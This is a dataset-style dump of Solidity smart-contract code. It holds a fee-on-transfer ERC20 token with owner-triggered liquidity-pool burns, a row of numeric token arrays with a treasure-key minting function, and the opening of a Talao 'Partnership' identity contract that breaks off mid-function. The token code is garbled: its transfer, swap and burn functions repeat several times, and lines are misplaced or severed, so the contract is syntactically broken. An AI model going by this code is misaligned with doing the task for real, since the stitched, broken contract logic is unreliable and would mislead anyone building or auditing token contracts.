!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
address(this),
tokenAmount,
deadAddress,
block.timestamp
);
}
uniswapV2Router.addLiquidityETH{value: ethAmount}(
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
(success, ) = address(devWallet).call{value: ethForDev}("");
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
pair.sync();
emit AutoNukeLP();
return true;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
pair.sync();
emit AutoNukeLP();
return true;
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
pair.sync();
emit ManualNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
pair.sync();
emit ManualNukeLP();
return true;
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
}
| 7,694,459 |
[
1,
14925,
77,
17,
4819,
471,
30959,
17,
3350,
5349,
7990,
471,
3152,
431,
17704,
1317,
628,
1656,
281,
471,
943,
2492,
3844,
1707,
6138,
716,
279,
5859,
13667,
312,
6388,
5574,
18,
5502,
7412,
358,
4259,
6138,
3377,
506,
3221,
358,
279,
4207,
7412,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
657,
280,
77,
353,
4232,
39,
3462,
16,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
1071,
11732,
640,
291,
91,
438,
58,
22,
8259,
31,
203,
565,
1758,
1071,
640,
291,
91,
438,
58,
22,
4154,
31,
203,
565,
1758,
1071,
5381,
8363,
1887,
273,
1758,
12,
20,
92,
22097,
1769,
203,
203,
565,
1426,
3238,
7720,
1382,
31,
203,
203,
565,
1758,
1071,
13667,
310,
16936,
31,
203,
565,
1758,
1071,
4461,
16936,
31,
203,
203,
565,
2254,
5034,
1071,
943,
3342,
6275,
31,
203,
565,
2254,
5034,
1071,
7720,
5157,
861,
6275,
31,
203,
565,
2254,
5034,
1071,
943,
16936,
31,
203,
203,
565,
1426,
1071,
12423,
38,
321,
1526,
273,
638,
31,
203,
565,
2254,
5034,
1071,
12423,
38,
321,
13865,
273,
12396,
3974,
31,
203,
565,
2254,
5034,
1071,
1142,
48,
84,
38,
321,
950,
31,
203,
203,
565,
2254,
5034,
1071,
11297,
38,
321,
13865,
273,
5196,
6824,
31,
203,
565,
2254,
5034,
1071,
1142,
25139,
48,
84,
38,
321,
950,
31,
203,
203,
565,
1426,
1071,
8181,
382,
12477,
273,
638,
31,
203,
565,
1426,
1071,
1284,
7459,
3896,
273,
629,
31,
203,
565,
1426,
1071,
7720,
1526,
273,
629,
31,
203,
203,
565,
1426,
1071,
7412,
6763,
1526,
273,
638,
31,
203,
203,
565,
2254,
5034,
1071,
30143,
5269,
2954,
281,
31,
203,
565,
2254,
5034,
1071,
5381,
30143,
3882,
21747,
14667,
273,
1381,
31,
203,
565,
2254,
5034,
2
] |
./full_match/4/0x83CB9C867A30432ef95F942D5E251690D571ed7A/sources/bb_etherscan.sol
|
Checking whether the sale or presale is active Checking supply numbers
|
function mintWithTreasureKey() external nonReentrant {
require(presaleIsActive, "Nor sale or presale is active at the moment");
require(totalSupply() + 1 < MAX_BULLDOGS, "Sale has already ended");
ISpacePunksTreasureKeys keys = ISpacePunksTreasureKeys(_treasureKeys);
require(keys.balanceOf(msg.sender, 5) > 0, "SPC Treasure Keys: must own at least one key");
keys.burnKeyForAddress(5, msg.sender);
_mintWithRandomTokenId(msg.sender);
}
| 722,785 |
[
1,
14294,
2856,
326,
272,
5349,
578,
4075,
5349,
353,
2695,
24471,
14467,
5600,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
312,
474,
1190,
56,
266,
3619,
653,
1435,
3903,
1661,
426,
8230,
970,
288,
203,
3639,
2583,
12,
12202,
5349,
2520,
3896,
16,
315,
50,
280,
272,
5349,
578,
4075,
5349,
353,
2695,
622,
326,
10382,
8863,
203,
203,
3639,
2583,
12,
4963,
3088,
1283,
1435,
397,
404,
411,
4552,
67,
38,
2705,
3191,
16113,
16,
315,
30746,
711,
1818,
16926,
8863,
203,
540,
203,
3639,
467,
3819,
52,
1683,
87,
56,
266,
3619,
2396,
1311,
273,
467,
3819,
52,
1683,
87,
56,
266,
3619,
2396,
24899,
27427,
3619,
2396,
1769,
203,
3639,
2583,
12,
2452,
18,
12296,
951,
12,
3576,
18,
15330,
16,
1381,
13,
405,
374,
16,
315,
3118,
39,
399,
266,
3619,
11432,
30,
1297,
4953,
622,
4520,
1245,
498,
8863,
203,
203,
3639,
1311,
18,
70,
321,
653,
1290,
1887,
12,
25,
16,
1234,
18,
15330,
1769,
203,
3639,
389,
81,
474,
1190,
8529,
1345,
548,
12,
3576,
18,
15330,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
import "../identity/Identity.sol";
import "../math/SafeMath.sol";
/**
* @title Provides partnership features between contracts.
* @notice If msg.sender is the owner, in the Foundation sense
* (see Foundation.sol, of another partnership contract that is
* authorized in this partnership contract,
* then he passes isPartnershipMember().
* Obviously this function is meant to be used in modifiers
* in contrats that inherit of this one and provide "restricted" content.
* Partnerships are symetrical: when you request a partnership,
* you automatically authorize the requested partnership contract.
* Same thing when you remove a partnership.
* This is done through symetrical functions,
* where the user submits a tx on his own Partnership contract to ask partnership
* to another and not on the other contract.
* Convention here: _function = to be called by another partnership contract.
* @author Talao, Polynomial.
*/
contract Partnership is Identity {
using SafeMath for uint;
// Foundation contract.
Foundation foundation;
// Authorization status.
enum PartnershipAuthorization { Unknown, Authorized, Pending, Rejected, Removed }
// Other Partnership contract information.
struct PartnershipContract {
// Authorization of this contract.
// bytes31 left after this on SSTORAGE 1.
PartnershipAuthorization authorization;
// Date of partnership creation.
// Let's avoid the 2038 year bug, even if this contract will be dead
// a lot sooner! It costs nothing, so...
// bytes26 left after this on SSTORAGE 1.
uint40 created;
// His symetric encryption key,
// encrypted on our asymetric encryption public key.
bytes symetricEncryptionEncryptedKey;
}
// Our main registry of Partnership contracts.
mapping(address => PartnershipContract) internal partnershipContracts;
// Index of known partnerships (contracts which interacted at least once).
address[] internal knownPartnershipContracts;
// Total of authorized Partnerships contracts.
uint public partnershipsNumber;
// Event when another Partnership contract has asked partnership.
event PartnershipRequested();
// Event when another Partnership contract has authorized our request.
event PartnershipAccepted();
/**
* @dev Constructor.
*/
constructor(
address _foundation,
address _token,
uint16 _category,
uint16 _asymetricEncryptionAlgorithm,
uint16 _symetricEncryptionAlgorithm,
bytes _asymetricEncryptionPublicKey,
bytes _symetricEncryptionEncryptedKey,
bytes _encryptedSecret
)
Identity(
_foundation,
_token,
_category,
_asymetricEncryptionAlgorithm,
_symetricEncryptionAlgorithm,
_asymetricEncryptionPublicKey,
_symetricEncryptionEncryptedKey,
_encryptedSecret
)
public
{
foundation = Foundation(_foundation);
token = TalaoToken(_token);
identityInformation.creator = msg.sender;
identityInformation.category = _category;
identityInformation.asymetricEncryptionAlgorithm = _asymetricEncryptionAlgorithm;
identityInformation.symetricEncryptionAlgorithm = _symetricEncryptionAlgorithm;
identityInformation.asymetricEncryptionPublicKey = _asymetricEncryptionPublicKey;
identityInformation.symetricEncryptionEncryptedKey = _symetricEncryptionEncryptedKey;
identityInformation.encryptedSecret = _encryptedSecret;
}
/**
* @dev This function will be used in inherited contracts,
* to restrict read access to members of Partnership contracts
* which are authorized in this contract.
*/
function isPartnershipMember() public view returns (bool) {
return partnershipContracts[foundation.membersToContracts(msg.sender)].authorization == PartnershipAuthorization.Authorized;
}
/**
* @dev Modifier version of isPartnershipMember.
* Not used for now, but could be useful.
*/
modifier onlyPartnershipMember() {
require(isPartnershipMember());
_;
}
/**
* @dev Get partnership status in this contract for a user.
*/
function getMyPartnershipStatus()
external
view
returns (uint authorization)
{
// If msg.sender has no Partnership contract, return Unknown (0).
if (foundation.membersToContracts(msg.sender) == address(0)) {
return uint(PartnershipAuthorization.Unknown);
} else {
return uint(partnershipContracts[foundation.membersToContracts(msg.sender)].authorization);
}
}
/**
* @dev Get the list of all known Partnership contracts.
*/
function getKnownPartnershipsContracts()
external
view
onlyIdentityPurpose(20003)
returns (address[])
{
return knownPartnershipContracts;
}
/**
* @dev Get a Partnership contract information.
*/
function getPartnership(address _hisContract)
external
view
onlyIdentityPurpose(20003)
returns (uint, uint, uint40, bytes, bytes)
{
(
,
uint16 hisCategory,
,
,
bytes memory hisAsymetricEncryptionPublicKey,
,
) = IdentityInterface(_hisContract).identityInformation();
return (
hisCategory,
uint(partnershipContracts[_hisContract].authorization),
partnershipContracts[_hisContract].created,
hisAsymetricEncryptionPublicKey,
partnershipContracts[_hisContract].symetricEncryptionEncryptedKey
);
}
/**
* @dev Request partnership.
* The owner of this contract requests a partnership
* with another Partnership contract
* through THIS contract.
* We send him our symetric encryption key as well,
* encrypted on his symetric encryption public key.
* Encryption done offchain before submitting this TX.
*/
function requestPartnership(address _hisContract, bytes _ourSymetricKey)
external
onlyIdentityPurpose(1)
{
